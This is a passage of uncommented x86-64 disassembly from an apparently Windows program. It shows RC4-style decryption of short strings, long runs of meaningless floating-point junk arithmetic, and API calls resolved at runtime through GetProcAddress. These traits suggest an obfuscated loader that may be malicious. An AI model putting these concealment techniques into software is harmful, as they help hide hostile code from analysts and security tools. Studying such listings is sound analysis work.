add r14d, r9d
add r14d, 4
movzx r12d, r14b
movzx ebp, byte [rsp + r12 + 0x2b0]
mov byte [rsp + r13 + 0x2b0], bpl
mov byte [rsp + r12 + 0x2b0], bl
add dl, byte [rsp + rdi + 0x2b0]
add bl, byte [rsp + r15 + 0x2b0]
movzx esi, byte [rsp + rsi + 0x2b0]
add sil, byte [rsp + r13 + 0x2b0]
movzx edi, bl
movzx ebx, dl
add sil, byte [rsp + rbx + 0x2b0]
movzx esi, sil
movzx esi, byte [rsp + rsi + 0x2b0]
movzx ebx, byte [rsp + rdi + 0x2b0]
xor bl, r10b
xor bl, byte [rsp + rsi + 0x2b0]
mov byte [rsp + 0x3c1], bl
movzx esi, byte [0x14049ec51]
movabs rdi, 0x40d1ad0000000000
mov qword [rsp + 0x140], rdi
movabs rdi, 0x40cd760000000000
mov qword [rsp + 0x280], rdi
movabs rdi, 0x40c7920000000000
mov qword [rsp + 0x230], rdi
movabs rdi, 0x40c1ae0000000000
mov qword [rsp + 0x1f0], rdi
movabs rdi, 0x40b7940000000000
mov qword [rsp + 0x1d0], rdi
movabs rdi, 0x40a7980000000000
mov qword [rsp + 0x250], rdi
movsd xmm0, qword [rsp + 0x250]
movsd xmm1, qword [rsp + 0x1d0]
subsd xmm1, xmm0
movsd qword [rsp + 0x1d0], xmm1
movsd xmm0, qword [rsp + 0x250]
addsd xmm0, qword [rsp + 0x1f0]
movsd qword [rsp + 0x1f0], xmm0
movsd xmm0, qword [rsp + 0x250]
movsd xmm1, qword [rsp + 0x230]
mulsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
movsd xmm0, qword [rsp + 0x250]
movsd xmm1, qword [rsp + 0x1d0]
subsd xmm1, xmm0
movsd qword [rsp + 0x1d0], xmm1
movsd xmm0, qword [rsp + 0x250]
addsd xmm0, qword [rsp + 0x1f0]
movsd qword [rsp + 0x1f0], xmm0
movsd xmm0, qword [rsp + 0x250]
movsd xmm1, qword [rsp + 0x1d0]
subsd xmm1, xmm0
movsd qword [rsp + 0x1d0], xmm1
movsd xmm0, qword [rsp + 0x230]
movsd xmm1, qword [rsp + 0x1d0]
ucomisd xmm1, xmm0
jbe 0x1400ec9a8
movsd xmm0, qword [rsp + 0x140]
movsd xmm1, qword [rsp + 0x250]
divsd xmm1, xmm0
movsd qword [rsp + 0x250], xmm1
movsd xmm0, qword [rsp + 0x1f0]
movsd xmm1, qword [rsp + 0x230]
subsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
movsd xmm0, qword [rsp + 0x1f0]
movsd xmm1, qword [rsp + 0x230]
divsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
movsd xmm0, qword [rsp + 0x140]
addsd xmm0, qword [rsp + 0x250]
movsd qword [rsp + 0x250], xmm0
movsd xmm0, qword [rsp + 0x140]
movsd xmm1, qword [rsp + 0x250]
divsd xmm1, xmm0
movsd qword [rsp + 0x250], xmm1
movsd xmm0, qword [rsp + 0x1d0]
movsd xmm1, qword [rsp + 0x1f0]
subsd xmm1, xmm0
movsd qword [rsp + 0x1f0], xmm1
movsd xmm0, qword [rsp + 0x1d0]
movsd xmm1, qword [rsp + 0x1f0]
divsd xmm1, xmm0
movsd qword [rsp + 0x1f0], xmm1
movsd xmm0, qword [rsp + 0x230]
movsd xmm1, qword [rsp + 0x280]
divsd xmm1, xmm0
movsd qword [rsp + 0x280], xmm1
movsd xmm0, qword [rsp + 0x280]
movsd xmm1, qword [rsp + 0x140]
subsd xmm1, xmm0
movsd qword [rsp + 0x140], xmm1
movsd xmm0, qword [rsp + 0x250]
movsd xmm1, qword [rsp + 0x1d0]
divsd xmm1, xmm0
movsd qword [rsp + 0x1d0], xmm1
movsd xmm0, qword [rsp + 0x230]
movsd xmm1, qword [rsp + 0x280]
divsd xmm1, xmm0
movsd qword [rsp + 0x280], xmm1
movsd xmm0, qword [rsp + 0x230]
movsd xmm1, qword [rsp + 0x280]
mulsd xmm1, xmm0
movsd qword [rsp + 0x280], xmm1
movsd xmm0, qword [rsp + 0x280]
movsd xmm1, qword [rsp + 0x1f0]
ucomisd xmm0, xmm1
jbe 0x1400eca5f
movsd xmm0, qword [rsp + 0x250]
movsd xmm1, qword [rsp + 0x1f0]
subsd xmm1, xmm0
movsd qword [rsp + 0x1f0], xmm1
movsd xmm0, qword [rsp + 0x140]
movsd xmm1, qword [rsp + 0x1d0]
mulsd xmm1, xmm0
movsd qword [rsp + 0x1d0], xmm1
movsd xmm0, qword [rsp + 0x230]
movsd xmm1, qword [rsp + 0x140]
divsd xmm1, xmm0
movsd qword [rsp + 0x140], xmm1
movsd xmm0, qword [rsp + 0x230]
movsd xmm1, qword [rsp + 0x140]
divsd xmm1, xmm0
movsd qword [rsp + 0x140], xmm1
movsd xmm0, qword [rsp + 0x1f0]
movsd xmm1, qword [rsp + 0x280]
subsd xmm1, xmm0
movsd qword [rsp + 0x280], xmm1
movsd xmm0, qword [rsp + 0x230]
movsd xmm1, qword [rsp + 0x140]
divsd xmm1, xmm0
jmp 0x1400eca51
movsd xmm0, qword [rsp + 0x1f0]
movsd xmm1, qword [rsp + 0x280]
subsd xmm1, xmm0
movsd qword [rsp + 0x280], xmm1
movsd xmm0, qword [rsp + 0x140]
addsd xmm0, qword [rsp + 0x1d0]
movsd qword [rsp + 0x1d0], xmm0
movsd xmm0, qword [rsp + 0x230]
movsd xmm1, qword [rsp + 0x140]
subsd xmm1, xmm0
movsd qword [rsp + 0x140], xmm1
movsd xmm0, qword [rsp + 0x1d0]
movsd xmm1, qword [rsp + 0x230]
subsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
movsd xmm0, qword [rsp + 0x280]
addsd xmm0, qword [rsp + 0x250]
movsd qword [rsp + 0x250], xmm0
movsd xmm0, qword [rsp + 0x230]
movsd xmm1, qword [rsp + 0x140]
mulsd xmm1, xmm0
movsd qword [rsp + 0x140], xmm1
jmp 0x1400ecb0d
movsd xmm0, qword [rsp + 0x230]
movsd xmm1, qword [rsp + 0x280]
subsd xmm1, xmm0
movsd qword [rsp + 0x280], xmm1
movsd xmm0, qword [rsp + 0x230]
addsd xmm0, qword [rsp + 0x280]
movsd qword [rsp + 0x280], xmm0
movsd xmm0, qword [rsp + 0x140]
addsd xmm0, qword [rsp + 0x250]
movsd qword [rsp + 0x250], xmm0
movsd xmm0, qword [rsp + 0x1f0]
movsd xmm1, qword [rsp + 0x230]
mulsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
movsd xmm0, qword [rsp + 0x230]
movsd xmm1, qword [rsp + 0x280]
mulsd xmm1, xmm0
movsd qword [rsp + 0x280], xmm1
movsd xmm0, qword [rsp + 0x140]
addsd xmm0, qword [rsp + 0x250]
movsd qword [rsp + 0x250], xmm0
movzx edi, byte [0x14049ec52]
movabs r14, 0x40d1920000000000
mov qword [rsp + 0x140], r14
movabs r14, 0x40cd490000000000
mov qword [rsp + 0x280], r14
movabs r14, 0x40c76e0000000000
mov qword [rsp + 0x230], r14
movabs r14, 0x40c1930000000000
mov qword [rsp + 0x1f0], r14
movabs r14, 0x40b7700000000000
mov qword [rsp + 0x1d0], r14
movabs r14, 0x40a7740000000000
mov qword [rsp + 0x250], r14
movsd xmm0, qword [rsp + 0x250]
addsd xmm0, qword [rsp + 0x230]
movsd qword [rsp + 0x230], xmm0
movsd xmm0, qword [rsp + 0x250]
addsd xmm0, qword [rsp + 0x230]
movsd qword [rsp + 0x230], xmm0
movsd xmm0, qword [rsp + 0x250]
movsd xmm1, qword [rsp + 0x280]
subsd xmm1, xmm0
movsd qword [rsp + 0x280], xmm1
movsd xmm0, qword [rsp + 0x250]
addsd xmm0, qword [rsp + 0x280]
movsd qword [rsp + 0x280], xmm0
movsd xmm0, qword [rsp + 0x250]
movsd xmm1, qword [rsp + 0x280]
mulsd xmm1, xmm0
movsd qword [rsp + 0x280], xmm1
movsd xmm0, qword [rsp + 0x250]
movsd xmm1, qword [rsp + 0x230]
mulsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
movsd xmm0, qword [rsp + 0x230]
movsd xmm1, qword [rsp + 0x250]
ucomisd xmm0, xmm1
jbe 0x1400ecd0a
movsd xmm0, qword [rsp + 0x1f0]
movsd xmm1, qword [rsp + 0x230]
mulsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
add edi, 0xffffff1c
movsd xmm0, qword [rsp + 0x230]
movsd xmm1, qword [rsp + 0x280]
subsd xmm1, xmm0
movsd qword [rsp + 0x280], xmm1
movsd xmm0, qword [rsp + 0x280]
addsd xmm0, qword [rsp + 0x140]
movsd qword [rsp + 0x140], xmm0
movsd xmm0, qword [rsp + 0x1d0]
movsd xmm1, qword [rsp + 0x1f0]
mulsd xmm1, xmm0
movsd qword [rsp + 0x1f0], xmm1
movsd xmm0, qword [rsp + 0x1f0]
movsd xmm1, qword [rsp + 0x230]
mulsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
movsd xmm0, qword [rsp + 0x140]
addsd xmm0, qword [rsp + 0x250]
movsd qword [rsp + 0x250], xmm0
mov r11d, edi
jmp 0x1400ecdc0
movsd xmm0, qword [rsp + 0x250]
movsd xmm1, qword [rsp + 0x1f0]
subsd xmm1, xmm0
movsd qword [rsp + 0x1f0], xmm1
movsd xmm0, qword [rsp + 0x140]
addsd xmm0, qword [rsp + 0x1d0]
movsd qword [rsp + 0x1d0], xmm0
movsd xmm0, qword [rsp + 0x1d0]
movsd xmm1, qword [rsp + 0x230]
divsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
movsd xmm0, qword [rsp + 0x1f0]
movsd xmm1, qword [rsp + 0x280]
mulsd xmm1, xmm0
movsd qword [rsp + 0x280], xmm1
movsd xmm0, qword [rsp + 0x1f0]
movsd xmm1, qword [rsp + 0x280]
divsd xmm1, xmm0
movsd qword [rsp + 0x280], xmm1
movsd xmm0, qword [rsp + 0x280]
movsd xmm1, qword [rsp + 0x250]
subsd xmm1, xmm0
movsd qword [rsp + 0x250], xmm1
shl rsi, 4
sub rsi, 0xffffffffffffff80
mov r11d, r11d
or r11, rsi
movzx edi, r10b
movzx esi, byte [rsp + rdi + 0x2b0]
add r8b, byte [rsp + r12 + 0x2b0]
movzx r8d, r8b
movzx r10d, byte [rsp + r8 + 0x2b0]
mov byte [rsp + rdi + 0x2b0], r10b
movzx ebx, bl
movzx r10d, byte [rsp + rbx + 0x2b0]
mov byte [rsp + r8 + 0x2b0], r10b
lea r10d, [rax + rcx]
lea r10d, [r9 + r10 + 5]
movzx r10d, r10b
movzx ebp, byte [rsp + r10 + 0x2b0]
mov byte [rsp + rbx + 0x2b0], bpl
mov byte [rsp + r10 + 0x2b0], sil
add dl, byte [rsp + rsi + 0x2b0]
movzx ebp, byte [rsp + r8 + 0x2b0]
movzx edi, byte [rsp + rdi + 0x2b0]
add dil, byte [rsp + rbx + 0x2b0]
add bpl, sil
movzx edx, dl
add dil, byte [rsp + rdx + 0x2b0]
movzx edx, bpl
movzx esi, dil
movzx esi, byte [rsp + rsi + 0x2b0]
movzx edx, byte [rsp + rdx + 0x2b0]
xor dl, r11b
xor dl, byte [rsp + rsi + 0x2b0]
mov byte [rsp + 0x3c2], dl
mov dword [rsp + 0x140], 0x46d9d400
mov dword [rsp + 0x280], 0x46ae4400
mov dword [rsp + 0x230], 0x4682b400
mov dword [rsp + 0x1f0], 0x462e4800
mov dword [rsp + 0x1d0], 0x45ae5000
movss xmm0, dword [rsp + 0x1d0]
addss xmm0, dword [rsp + 0x280]
movss dword [rsp + 0x280], xmm0
movss xmm0, dword [rsp + 0x1d0]
movss xmm1, dword [rsp + 0x1f0]
subss xmm1, xmm0
movss dword [rsp + 0x1f0], xmm1
movss xmm0, dword [rsp + 0x1d0]
movss xmm1, dword [rsp + 0x280]
mulss xmm1, xmm0
movss dword [rsp + 0x280], xmm1
movss xmm0, dword [rsp + 0x1d0]
movss xmm1, dword [rsp + 0x280]
mulss xmm1, xmm0
movss dword [rsp + 0x280], xmm1
movss xmm0, dword [rsp + 0x1d0]
addss xmm0, dword [rsp + 0x280]
movss dword [rsp + 0x280], xmm0
movss xmm0, dword [rsp + 0x1f0]
movss xmm1, dword [rsp + 0x280]
ucomiss xmm1, xmm0
movss xmm0, dword [rsp + 0x1f0]
movss xmm1, dword [rsp + 0x280]
jbe 0x1400ed01d
mulss xmm0, xmm1
movss dword [rsp + 0x280], xmm0
movss xmm0, dword [rsp + 0x280]
movss xmm1, dword [rsp + 0x1d0]
mulss xmm1, xmm0
movss dword [rsp + 0x1d0], xmm1
movss xmm0, dword [rsp + 0x280]
movss xmm1, dword [rsp + 0x1d0]
subss xmm1, xmm0
movss dword [rsp + 0x1d0], xmm1
movss xmm0, dword [rsp + 0x1f0]
movss xmm1, dword [rsp + 0x280]
mulss xmm1, xmm0
movss dword [rsp + 0x280], xmm1
movss xmm0, dword [rsp + 0x1d0]
movss xmm1, dword [rsp + 0x230]
mulss xmm1, xmm0
movss dword [rsp + 0x230], xmm1
mov rdi, qword [rsp + 0xe90]
mov r14, qword [rsp + 0xe98]
jmp 0x1400ed293
divss xmm1, xmm0
movss dword [rsp + 0x280], xmm1
movss xmm0, dword [rsp + 0x1f0]
movss xmm1, dword [rsp + 0x280]
subss xmm1, xmm0
movss dword [rsp + 0x280], xmm1
movss xmm0, dword [rsp + 0x230]
movss xmm1, dword [rsp + 0x140]
divss xmm1, xmm0
movss dword [rsp + 0x140], xmm1
movss xmm0, dword [rsp + 0x1d0]
addss xmm0, dword [rsp + 0x230]
movss dword [rsp + 0x230], xmm0
movss xmm0, dword [rsp + 0x230]
movss xmm1, dword [rsp + 0x140]
mulss xmm1, xmm0
movss dword [rsp + 0x140], xmm1
movss xmm0, dword [rsp + 0x1f0]
movss xmm1, dword [rsp + 0x230]
subss xmm1, xmm0
movss dword [rsp + 0x230], xmm1
movss xmm0, dword [rsp + 0x280]
addss xmm0, dword [rsp + 0x140]
movss dword [rsp + 0x140], xmm0
movss xmm0, dword [rsp + 0x140]
movss xmm1, dword [rsp + 0x1d0]
divss xmm1, xmm0
movss dword [rsp + 0x1d0], xmm1
movss xmm0, dword [rsp + 0x1d0]
addss xmm0, dword [rsp + 0x1f0]
movss dword [rsp + 0x1f0], xmm0
movss xmm0, dword [rsp + 0x140]
movss xmm1, dword [rsp + 0x1d0]
divss xmm1, xmm0
movss dword [rsp + 0x1d0], xmm1
movss xmm0, dword [rsp + 0x230]
movss xmm1, dword [rsp + 0x1d0]
ucomiss xmm0, xmm1
mov rdi, qword [rsp + 0xe90]
mov r14, qword [rsp + 0xe98]
jbe 0x1400ed1f8
movss xmm0, dword [rsp + 0x230]
movss xmm1, dword [rsp + 0x140]
subss xmm1, xmm0
movss dword [rsp + 0x140], xmm1
movss xmm0, dword [rsp + 0x280]
addss xmm0, dword [rsp + 0x1d0]
movss dword [rsp + 0x1d0], xmm0
movss xmm0, dword [rsp + 0x140]
addss xmm0, dword [rsp + 0x1f0]
movss dword [rsp + 0x1f0], xmm0
movss xmm0, dword [rsp + 0x140]
movss xmm1, dword [rsp + 0x1f0]
mulss xmm1, xmm0
movss dword [rsp + 0x1f0], xmm1
movss xmm0, dword [rsp + 0x140]
movss xmm1, dword [rsp + 0x1f0]
subss xmm1, xmm0
movss dword [rsp + 0x1f0], xmm1
jmp 0x1400ed293
movss xmm0, dword [rsp + 0x280]
movss xmm1, dword [rsp + 0x1d0]
mulss xmm1, xmm0
movss dword [rsp + 0x1d0], xmm1
movss xmm0, dword [rsp + 0x230]
movss xmm1, dword [rsp + 0x140]
subss xmm1, xmm0
movss dword [rsp + 0x140], xmm1
movss xmm0, dword [rsp + 0x230]
movss xmm1, dword [rsp + 0x140]
mulss xmm1, xmm0
movss dword [rsp + 0x140], xmm1
movss xmm0, dword [rsp + 0x1f0]
movss xmm1, dword [rsp + 0x280]
mulss xmm1, xmm0
movss dword [rsp + 0x280], xmm1
movss xmm0, dword [rsp + 0x1d0]
movss xmm1, dword [rsp + 0x230]
mulss xmm1, xmm0
movss dword [rsp + 0x230], xmm1
movzx esi, r11b
movzx r11d, byte [rsp + rsi + 0x2b0]
mov dword [rsp + 0x140], 0x46981800
mov dword [rsp + 0x280], 0x464acc00
mov dword [rsp + 0x230], 0x45cad000
movss xmm0, dword [rsp + 0x230]
addss xmm0, dword [rsp + 0x140]
movss dword [rsp + 0x140], xmm0
movss xmm0, dword [rsp + 0x230]
addss xmm0, dword [rsp + 0x280]
movss dword [rsp + 0x280], xmm0
movss xmm0, dword [rsp + 0x230]
addss xmm0, dword [rsp + 0x140]
movss dword [rsp + 0x140], xmm0
movss xmm0, dword [rsp + 0x140]
movss xmm1, dword [rsp + 0x230]
ucomiss xmm0, xmm1
jbe 0x1400ed3a3
movss xmm0, dword [rsp + 0x140]
movss xmm1, dword [rsp + 0x230]
mulss xmm1, xmm0
movss dword [rsp + 0x230], xmm1
add r8b, byte [rsp + r10 + 0x2b0]
movss xmm0, dword [rsp + 0x280]
movss xmm1, dword [rsp + 0x140]
subss xmm1, xmm0
movss dword [rsp + 0x140], xmm1
movss xmm0, dword [rsp + 0x280]
movss xmm1, dword [rsp + 0x140]
subss xmm1, xmm0
movss dword [rsp + 0x140], xmm1
movzx r8d, r8b
add eax, ecx
add eax, r9d
add eax, 6
movzx r10d, al
jmp 0x1400ed528
movss xmm0, dword [rsp + 0x280]
movss xmm1, dword [rsp + 0x140]
divss xmm1, xmm0
movss dword [rsp + 0x140], xmm1
movss xmm0, dword [rsp + 0x280]
movss xmm1, dword [rsp + 0x140]
divss xmm1, xmm0
movss dword [rsp + 0x140], xmm1
movss xmm0, dword [rsp + 0x280]
movss xmm1, dword [rsp + 0x140]
subss xmm1, xmm0
movss dword [rsp + 0x140], xmm1
movss xmm0, dword [rsp + 0x230]
movss xmm1, dword [rsp + 0x280]
divss xmm1, xmm0
movss dword [rsp + 0x280], xmm1
movss xmm0, dword [rsp + 0x140]
movss xmm1, dword [rsp + 0x230]
divss xmm1, xmm0
movss dword [rsp + 0x230], xmm1
movss xmm0, dword [rsp + 0x230]
movss xmm1, dword [rsp + 0x280]
mulss xmm1, xmm0
movss dword [rsp + 0x280], xmm1
movss xmm0, dword [rsp + 0x140]
movss xmm1, dword [rsp + 0x230]
ucomiss xmm1, xmm0
jbe 0x1400ed4cb
movss xmm0, dword [rsp + 0x280]
addss xmm0, dword [rsp + 0x230]
movss dword [rsp + 0x230], xmm0
movss xmm0, dword [rsp + 0x230]
addss xmm0, dword [rsp + 0x140]
movss dword [rsp + 0x140], xmm0
movss xmm0, dword [rsp + 0x280]
movss xmm1, dword [rsp + 0x230]
mulss xmm1, xmm0
movss dword [rsp + 0x230], xmm1
jmp 0x1400ed528
movss xmm0, dword [rsp + 0x230]
movss xmm1, dword [rsp + 0x140]
subss xmm1, xmm0
movss dword [rsp + 0x140], xmm1
movss xmm0, dword [rsp + 0x230]
movss xmm1, dword [rsp + 0x140]
mulss xmm1, xmm0
movss dword [rsp + 0x140], xmm1
movss xmm0, dword [rsp + 0x230]
movss xmm1, dword [rsp + 0x140]
divss xmm1, xmm0
movss dword [rsp + 0x140], xmm1
movzx eax, byte [rsp + r8 + 0x2b0]
mov byte [rsp + rsi + 0x2b0], al
movzx eax, dl
movzx ecx, byte [rsp + rax + 0x2b0]
mov byte [rsp + r8 + 0x2b0], cl
movzx ecx, byte [rsp + r10 + 0x2b0]
mov byte [rsp + rax + 0x2b0], cl
mov byte [rsp + r10 + 0x2b0], r11b
mov byte [rsp + 0x3c3], 0
lea rdx, [rsp + 0x3b0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r15, [rsp + 0x3d0]
mov rcx, r15
mov edx, 0x400
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea rcx, [rsp + 0x110]
mov rdx, r15
call r14
mov ecx, eax
call fcn.1401063a0
test eax, eax
je 0x1400ffa87
mov qword [rsp + 0x190], 0
mov qword [rsp + 0x160], 0
mov qword [rsp + 0x190], 0
mov qword [rsp + 0x160], 0
mov qword [rsp + 0x160], 0
movsd xmm1, qword [rsp + 0x160]
movsd xmm0, qword [0x1404d9240]
ucomisd xmm0, xmm1
jbe 0x1400ed720
movabs rax, 0x8000000000000000
movapd xmm1, xmmword [0x1404d9250]
movapd xmm2, xmmword [0x1404d9260]
movsd xmm3, qword [0x1404d9270]
movsd xmm4, qword [0x1404d9278]
movsd xmm5, qword [0x1404d7b00]
jmp 0x1400ed669
movsd xmm6, qword [rsp + 0x160]
addsd xmm6, xmm5
movsd qword [rsp + 0x160], xmm6
movsd xmm6, qword [rsp + 0x160]
ucomisd xmm0, xmm6
jbe 0x1400ed720
movsd xmm6, qword [rsp + 0x160]
movsd xmm7, qword [rsp + 0x160]
mov rcx, qword [rsp + 0x160]
xor rcx, rax
movq xmm8, rcx
movsd xmm9, qword [rsp + 0x160]
mulsd xmm9, xmm8
shufpd xmm9, xmm2, 2
movsd xmm8, qword [rsp + 0x160]
unpcklpd xmm6, xmm8
movsd xmm8, qword [rsp + 0x160]
unpcklpd xmm7, xmm8
mulpd xmm6, xmm1
mulpd xmm6, xmm7
addpd xmm6, xmm9
movapd xmm7, xmm6
unpckhpd xmm7, xmm6
divsd xmm6, xmm7
addsd xmm6, qword [rsp + 0x190]
movsd qword [rsp + 0x190], xmm6
movsd xmm6, qword [rsp + 0x190]
ucomisd xmm6, xmm3
jbe 0x1400ed640
movsd xmm6, qword [rsp + 0x160]
mulsd xmm6, xmm4
addsd xmm6, qword [rsp + 0x190]
movsd qword [rsp + 0x190], xmm6
jmp 0x1400ed640
movsd xmm0, qword [rsp + 0x190]
xorpd xmm1, xmm1
ucomisd xmm1, xmm0
jbe 0x1400ed742
call fcn.14049ec71
call fcn.14049ec63
jmp 0x1400eedef
movaps xmm0, xmmword [0x1404d7900]
movaps xmmword [rsp + 0x2b0], xmm0
movaps xmm0, xmmword [0x1404d7910]
movaps xmmword [rsp + 0x2c0], xmm0
movaps xmm0, xmmword [0x1404d7920]
movaps xmmword [rsp + 0x2d0], xmm0
movaps xmm0, xmmword [0x1404d7930]
movaps xmmword [rsp + 0x2e0], xmm0
movaps xmm0, xmmword [0x1404d7940]
movaps xmmword [rsp + 0x2f0], xmm0
movaps xmm0, xmmword [0x1404d7950]
movaps xmmword [rsp + 0x300], xmm0
movaps xmm0, xmmword [0x1404d7960]
movaps xmmword [rsp + 0x310], xmm0
movaps xmm0, xmmword [0x1404d7970]
movaps xmmword [rsp + 0x320], xmm0
movaps xmm0, xmmword [0x1404d7980]
movaps xmmword [rsp + 0x330], xmm0
movaps xmm0, xmmword [0x1404d7990]
movaps xmmword [rsp + 0x340], xmm0
movaps xmm0, xmmword [0x1404d79a0]
movaps xmmword [rsp + 0x350], xmm0
movaps xmm0, xmmword [0x1404d79b0]
movaps xmmword [rsp + 0x360], xmm0
movaps xmm0, xmmword [0x1404d79c0]
movaps xmmword [rsp + 0x370], xmm0
movaps xmm0, xmmword [0x1404d79d0]
movaps xmmword [rsp + 0x380], xmm0
movaps xmm0, xmmword [0x1404d79e0]
movaps xmmword [rsp + 0x390], xmm0
movapd xmm0, xmmword [0x1404d79f0]
movapd xmmword [rsp + 0x3a0], xmm0
xor ecx, ecx
mov r9d, 0xff
lea r10, [fcn.14049ec71]
lea r11, [0x1401042b0]
xor r8d, r8d
xor esi, esi
jmp 0x1400ed869
dec r9
je 0x1400ed9b5
mov edx, 1
cmp r9, 2
jb 0x1400ed889
mov edx, 1
nop dword [rax]
add edx, edx
inc edx
cmp r9, rdx
ja 0x1400ed880
mov edi, ntohs
nop
cmp esi, 3
ja case.default.0x1400ed89e
mov eax, esi
movsxd rax, dword [r11 + rax*4]
add rax, r11
jmp rax
movzx r8d, r8b
movsd xmm0, qword [rsp + 0x190]
cvttsd2si rax, xmm0
jmp 0x1400ed930
movzx r8d, r8b
lea eax, [rsi - 4]
movzx eax, byte [rax + r10]
jmp 0x1400ed930
movsd xmm0, qword [rsp + 0x190]
cvttsd2si rax, xmm0
movzx r8d, r8b
shr eax, 8
jmp 0x1400ed930
movsd xmm0, qword [rsp + 0x190]
cvttsd2si rax, xmm0
movzx r8d, r8b
shr eax, 0x10
jmp 0x1400ed930
movsd xmm0, qword [rsp + 0x190]
cvttsd2si rax, xmm0
movzx r8d, r8b
shr eax, 0x18
nop word cs:[rax + rax]
add al, byte [rsp + r8 + 0x2b0]
inc esi
lea r8d, [rax + 0x1c]
cmp esi, 0x1c
cmovae esi, ecx
movzx eax, al
movzx r8d, r8b
cmovb r8d, eax
mov eax, r8d
and eax, edx
movzx eax, al
dec edi
je 0x1400ed970
mov ebx, eax
cmp r9, rbx
jb 0x1400ed890
jmp 0x1400ed977
xor edx, edx
div r9d
mov eax, edx
mov eax, eax
cmp r9, rax
je 0x1400ed860
movzx edx, byte [rsp + r9 + 0x2b0]
xor dl, byte [rsp + rax + 0x2b0]
mov byte [rsp + r9 + 0x2b0], dl
xor dl, byte [rsp + rax + 0x2b0]
mov byte [rsp + rax + 0x2b0], dl
xor byte [rsp + r9 + 0x2b0], dl
jmp 0x1400ed860
movzx eax, byte [rsp + 0x2b1]
mov qword [rsp + 0x98], rax
movzx ecx, byte [rsp + 0x2b3]
movabs rdx, 0x40d0620000000000
mov qword [rsp + 0x140], rdx
movabs rdx, 0x40cc160000000000
mov qword [rsp + 0x280], rdx
movabs rdx, 0x40c7680000000000
mov qword [rsp + 0x230], rdx
movabs rdx, 0x40c2ba0000000000
mov qword [rsp + 0x1f0], rdx
movabs rdx, 0x40bc180000000000
mov qword [rsp + 0x1d0], rdx
movabs rdx, 0x40b2bc0000000000
mov qword [rsp + 0x250], rdx
movabs rdx, 0x40a2c00000000000
mov qword [rsp + 0x210], rdx
movsd xmm0, qword [rsp + 0x210]
movsd xmm1, qword [rsp + 0x230]
mulsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
movsd xmm0, qword [rsp + 0x210]
movsd xmm1, qword [rsp + 0x250]
subsd xmm1, xmm0
movsd qword [rsp + 0x250], xmm1
movsd xmm0, qword [rsp + 0x210]
movsd xmm1, qword [rsp + 0x140]
subsd xmm1, xmm0
movsd qword [rsp + 0x140], xmm1
movsd xmm0, qword [rsp + 0x210]
addsd xmm0, qword [rsp + 0x140]
movsd qword [rsp + 0x140], xmm0
movsd xmm0, qword [rsp + 0x210]
movsd xmm1, qword [rsp + 0x1f0]
mulsd xmm1, xmm0
movsd qword [rsp + 0x1f0], xmm1
movsd xmm0, qword [rsp + 0x210]
movsd xmm1, qword [rsp + 0x250]
mulsd xmm1, xmm0
movsd qword [rsp + 0x250], xmm1
movsd xmm0, qword [rsp + 0x210]
addsd xmm0, qword [rsp + 0x230]
movsd qword [rsp + 0x230], xmm0
movsd xmm0, qword [rsp + 0x210]
movsd xmm1, qword [rsp + 0x230]
ucomisd xmm0, xmm1
movsd xmm0, qword [rsp + 0x250]
jbe 0x1400edc10
movsd xmm1, qword [rsp + 0x1d0]
subsd xmm1, xmm0
movsd qword [rsp + 0x1d0], xmm1
movsd xmm0, qword [rsp + 0x280]
addsd xmm0, qword [rsp + 0x140]
movsd qword [rsp + 0x140], xmm0
movsd xmm0, qword [rsp + 0x280]
movsd xmm1, qword [rsp + 0x140]
divsd xmm1, xmm0
movsd qword [rsp + 0x140], xmm1
movsd xmm0, qword [rsp + 0x1d0]
movsd xmm1, qword [rsp + 0x1f0]
mulsd xmm1, xmm0
movsd qword [rsp + 0x1f0], xmm1
movsd xmm0, qword [rsp + 0x230]
addsd xmm0, qword [rsp + 0x280]
movsd qword [rsp + 0x280], xmm0
movsd xmm0, qword [rsp + 0x230]
movsd xmm1, qword [rsp + 0x280]
subsd xmm1, xmm0
movsd qword [rsp + 0x280], xmm1
movsd xmm0, qword [rsp + 0x230]
movsd xmm1, qword [rsp + 0x280]
divsd xmm1, xmm0
movsd qword [rsp + 0x280], xmm1
xor edx, edx
jmp 0x1400edce8
movsd xmm1, qword [rsp + 0x1f0]
mulsd xmm0, xmm1
movsd qword [rsp + 0x1f0], xmm0
movsd xmm0, qword [rsp + 0x230]
movsd xmm1, qword [rsp + 0x140]
mulsd xmm1, xmm0
movsd qword [rsp + 0x140], xmm1
movzx edx, byte [rsp + 0x2b5]
movsd xmm0, qword [rsp + 0x250]
movsd xmm1, qword [rsp + 0x1f0]
mulsd xmm1, xmm0
movsd qword [rsp + 0x1f0], xmm1
movsd xmm0, qword [rsp + 0x1f0]
movsd xmm1, qword [rsp + 0x280]
subsd xmm1, xmm0
movsd qword [rsp + 0x280], xmm1
movsd xmm0, qword [rsp + 0x1f0]
movsd xmm1, qword [rsp + 0x280]
mulsd xmm1, xmm0
movsd qword [rsp + 0x280], xmm1
movsd xmm0, qword [rsp + 0x230]
movsd xmm1, qword [rsp + 0x140]
mulsd xmm1, xmm0
movsd qword [rsp + 0x140], xmm1
movsd xmm0, qword [rsp + 0x1f0]
movsd xmm1, qword [rsp + 0x280]
mulsd xmm1, xmm0
movsd qword [rsp + 0x280], xmm1
movzx r10d, byte [rsp + 0x2b7]
movzx r8d, r8b
movzx r11d, byte [rsp + r8 + 0x2b0]
movzx r8d, byte [fcn.14049ec63]
movabs r9, 0x40d03dc000000000
mov qword [rsp + 0x140], r9
movabs r9, 0x40cb120000000000
mov qword [rsp + 0x280], r9
movabs r9, 0x40c5a88000000000
mov qword [rsp + 0x230], r9
movabs r9, 0x40c03f0000000000
mov qword [rsp + 0x1f0], r9
movabs r9, 0x40b5ab0000000000
mov qword [rsp + 0x1d0], r9
movabs r9, 0x40a5b00000000000
mov qword [rsp + 0x250], r9
movsd xmm0, qword [rsp + 0x250]
addsd xmm0, qword [rsp + 0x280]
movsd qword [rsp + 0x280], xmm0
